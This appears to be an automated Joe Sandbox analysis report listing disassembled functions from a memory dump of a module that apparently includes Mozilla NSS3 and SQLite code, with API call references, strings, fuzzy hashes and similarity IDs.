Instruction ID: 54ec794f83882ebc7186815bb25590ebdd187a8eb99eebcb1a3ba911c9760790
Opcode Fuzzy Hash: 5501cb47128c6dd54140df602d6fca9b82420ef51fbaff7586fe24cbd62293ae
Instruction Fuzzy Hash: 8D51CFB5A00602AFDB11DF25C985B5AB7B4FF08328F148674E81897E12E731F864CBD1

Function 6C724CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C72AB7F,?,00000000,?), ref: 6C724CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C72AB7F,?,00000000,?), ref: 6C724CC8
TlsGetValue.KERNEL32(?,6C72AB7F,?,00000000,?), ref: 6C724CE0
EnterCriticalSection.KERNEL32(?,?,6C72AB7F,?,00000000,?), ref: 6C724CF4
PL_HashTableLookup.NSS3(?,?,?,6C72AB7F,?,00000000,?), ref: 6C724D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C724D10

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

PR_Now.NSS3(?,00000000,?), ref: 6C724D26

Part of subcall function 6C7C9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DC6
Part of subcall function 6C7C9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DD1
Part of subcall function 6C7C9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7C9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C724D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C724DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C724E02

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 9eade404a8e13dfa4fa9b2232f993ad6bb35e7e66abba1e43261c39acb0a5f6a
Instruction ID: f5a25cb7bbef2e90dc8e50234d9b43a3a7e07876ed2cb0eddf4c44797607c386
Opcode Fuzzy Hash: 9eade404a8e13dfa4fa9b2232f993ad6bb35e7e66abba1e43261c39acb0a5f6a
Instruction Fuzzy Hash: F341E7B6E00101ABEB119F28ED49A6677B9FF1525CF094170ED0887B12FB35D919CBE2

Function 6C70BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C70BFFB

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C70C015

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C70C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C70C04D

Part of subcall function 6C7569E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C756A47
Part of subcall function 6C7569E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C756A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C70C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C70C07B

Part of subcall function 6C708980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C707310), ref: 6C7089B8
Part of subcall function 6C708980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C707310), ref: 6C7089E6
Part of subcall function 6C708980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C708A00
Part of subcall function 6C708980: CERT_CopyRDN.NSS3(00000004,00000000,6C707310,?,?,00000004,?), ref: 6C708A1B
Part of subcall function 6C708980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C708A74

Part of subcall function 6C701D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C70C097,00000000,000000B0,?), ref: 6C701D2C
Part of subcall function 6C701D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C70C09B,00000000,00000000,00000000,?,6C70C097,00000000,000000B0,?), ref: 6C701D3F
Part of subcall function 6C701D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C70C087,00000000,000000B0,?), ref: 6C701D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C70C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C70C0C9

Part of subcall function 6C712DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C70C0D2,6C70C0CE,00000000,-000000D4,?), ref: 6C712DF5
Part of subcall function 6C712DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C70C0CE,00000000,-000000D4,?), ref: 6C712E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C70C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70C0E3

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 62f2abf1864cd2258ed80a522f760f49b37616b6f247c7aa7e8da63cc9ee4753
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 3A2153E674010567FB006A61AE89FEB36AC9B4175DF084034FD04D9A46FB25D919C373

Function 6C702E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C702CDA,?,00000000), ref: 6C702E1E

Part of subcall function 6C75FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C709003,?), ref: 6C75FD91
Part of subcall function 6C75FD80: PORT_Alloc_Util.NSS3(A4686C76,?), ref: 6C75FDA2
Part of subcall function 6C75FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C76,?,?), ref: 6C75FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C702E33

Part of subcall function 6C75FD80: free.MOZGLUE(00000000,?,?), ref: 6C75FDD1

TlsGetValue.KERNEL32 ref: 6C702E4E
EnterCriticalSection.KERNEL32(?), ref: 6C702E5E
PL_HashTableLookup.NSS3(?), ref: 6C702E71
PL_HashTableRemove.NSS3(?), ref: 6C702E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C702E96
PR_Unlock.NSS3 ref: 6C702EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C702EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C702EC5

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 0eedcd278129a1fb0d1eef6fce82c7630a4cf945cf2b87cc5783493a6345c99d
Instruction ID: 58fa96d8d33341c5d0edae5b4a8ab3f2c7ad9ed09335d6ee64da9117a3118c8d
Opcode Fuzzy Hash: 0eedcd278129a1fb0d1eef6fce82c7630a4cf945cf2b87cc5783493a6345c99d
Instruction Fuzzy Hash: 552107B2E40101A7EF111B25DD0DAAB3AB9EB5235DF140170ED1882712FB32D569C7E2

Function 6C6EFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6EFD18
sqlite3_initialize.NSS3 ref: 6C6EFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6EFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C6EFD99
sqlite3_free.NSS3(00000000), ref: 6C6EFE3C
sqlite3_free.NSS3(?), ref: 6C6EFEE3
sqlite3_free.NSS3(?), ref: 6C6EFEEE

Strings

simple, xrefs: 6C6EFC79

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: daed3144ba34dc3fa538d517997786fc56f5a2dd4e61d240870586f75c73d74e
Instruction ID: a73b66d2906c763e0c731dcb41cdf67467ad543f51097fd0e9f48fc617743e4c
Opcode Fuzzy Hash: daed3144ba34dc3fa538d517997786fc56f5a2dd4e61d240870586f75c73d74e
Instruction Fuzzy Hash: 5491B5B0E062059FDB04CF55D880AAAFBF1FF89318F24C56AD8199B752D731E902CB95

Function 6C6F5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6F5EED

Strings

invalid, xrefs: 6C6F5EBE
%s at line %d of [%.10s], xrefs: 6C6F5EE0
API call with %s database connection pointer, xrefs: 6C6F5EC3
misuse, xrefs: 6C6F5EDB
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C6F5E64
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F5ED1

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 07d0e0508a83687ef75b41289a50a6352f45bf652285841c4fb3b93acced5756
Instruction ID: 993b2002747fdff1d6e2096486cac26014bf525d0b290649534c039adf4f7a5d
Opcode Fuzzy Hash: 07d0e0508a83687ef75b41289a50a6352f45bf652285841c4fb3b93acced5756
Instruction Fuzzy Hash: FA81B130B076119BEB198E15C848BAA77B2BF4270CF198269D8255BB51C730EC43CBED

Function 6C6DDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6DDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6DDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6DDF78

Strings

%s at line %d of [%.10s], xrefs: 6C6DDE61, 6C6DDE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6DDE52, 6C6DDE81
database corruption, xrefs: 6C6DDE5C, 6C6DDE8B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: db3017bd3fdb4a0d527e2ccdf42e4cc2ee91930417b68b7a5b5cad222e424a76
Instruction ID: ac46b0ca57a66bfc453108ebe0c7d21b207417f00092de4cc0b7030810110ab0
Opcode Fuzzy Hash: db3017bd3fdb4a0d527e2ccdf42e4cc2ee91930417b68b7a5b5cad222e424a76
Instruction Fuzzy Hash: 3281D9716043119FDB14EF25C880B6A77F1BF85308F16886DE89987B51E731F845CBA6

Function 6C68CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C68B999), ref: 6C68CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C68B999), ref: 6C68D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C68B999), ref: 6C68D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C68B999), ref: 6C7D972B

Strings

%s at line %d of [%.10s], xrefs: 6C68CFEC, 6C68D018, 6C68D029, 6C68D03F, 6C7D978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68CFDD, 6C68D00E, 6C68D022, 6C68D033, 6C7D9780
database corruption, xrefs: 6C68CFE7, 6C68D013, 6C68D028, 6C68D039, 6C68D03E, 6C7D9786

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 6cc8122b79b5f0bc58e3f4e425b87eba7eb9f2da2313f15a692fc9941a7f228c
Instruction ID: 60c37a0a37bb024cfff0b1940b4e029f2b397d1828b1fb18dde6393b653b7cb8
Opcode Fuzzy Hash: 6cc8122b79b5f0bc58e3f4e425b87eba7eb9f2da2313f15a692fc9941a7f228c
Instruction Fuzzy Hash: B9615971A042209BD310CF29C900BA7B7F1EF95318F1986ADE4499BB42D376E847C7E5

Function 6C78FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C790113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C790130
PORT_Alloc_Util.NSS3(00000040), ref: 6C79015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C7901AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C790202
free.MOZGLUE(?), ref: 6C790224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C790253

Strings

exporter, xrefs: 6C7900F7

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 0a8bc881da49a3ed3b051c89bc88cac46b0a80b3cf7c222c6e1360e3fbd20afa
Instruction ID: e87d9eee3ba9a83ebd5b4d88bfc8519b0d0d501b0fe4a790f81ab6122a476411
Opcode Fuzzy Hash: 0a8bc881da49a3ed3b051c89bc88cac46b0a80b3cf7c222c6e1360e3fbd20afa
Instruction Fuzzy Hash: BE6134719003899BEF118FA8EE08BEE77B6FF4834CF144238E91A56651E731A954CB41

Function 6C764DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C76536F,00000022,?,?,00000000,?), ref: 6C764E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C764F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C764F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C764FAE
free.MOZGLUE(?), ref: 6C764FC8

Strings

%s=%c%s%c, xrefs: 6C764FA9
oSvl", xrefs: 6C764DFB, 6C764EF4, 6C764EC5
%s=%s, xrefs: 6C764F89

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSvl"
API String ID: 2709355791-1883948470
Opcode ID: 221691c203c2a318b34de709888bce658b95a63137842f322950838bac3c94ec
Instruction ID: ae9ef4ba140676945009b22616c34bb4eee5df94caa45139dfee78e9cae2c2d2
Opcode Fuzzy Hash: 221691c203c2a318b34de709888bce658b95a63137842f322950838bac3c94ec
Instruction Fuzzy Hash: 07513831A452458BEF01CA6BC6B07FF7BF99F46308F188136EC94A7F41D32588499791

Function 6C78EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78EF6D

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

htonl.WSOCK32(00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78EFE4
htonl.WSOCK32(?,00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78EFF1
memcpy.VCRUNTIME140(?,?,6C7AA4A1,?,00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78F027

Strings

dtls13, xrefs: 6C78EF33

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 70fafa5c8eff8ea70eadb849587cfa1059ba36d1e1d12e8369c726b3ba5d8ed0
Instruction ID: 37b7c83d2a38bd6bfd8ada1fa92cbc269279eec9304f6ddcf4cd5809629ecc69
Opcode Fuzzy Hash: 70fafa5c8eff8ea70eadb849587cfa1059ba36d1e1d12e8369c726b3ba5d8ed0
Instruction Fuzzy Hash: 8E314475A02215AFC710CF28CE84B8AB7E4EF49358F158039E9189BB51E731E815CBE1

Function 6C70AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C70AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C829500,6C703F91), ref: 6C70AFD2

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

DER_GetInteger_Util.NSS3(?), ref: 6C70B007

Part of subcall function 6C756A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C701666,?,6C70B00C,?), ref: 6C756AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C70B02F
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C70B046
PL_FreeArenaPool.NSS3 ref: 6C70B058
PL_FinishArenaPool.NSS3 ref: 6C70B060

Strings

security, xrefs: 6C70AFB8

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 8557edba4ab10d03e67e8680cbd7df6e46847ec2f47d4311aecf4578b6b542f7
Instruction ID: b9411e84d05fd1ec948e9602e72e1c42252afae706242d57089ffcb825598352
Opcode Fuzzy Hash: 8557edba4ab10d03e67e8680cbd7df6e46847ec2f47d4311aecf4578b6b542f7
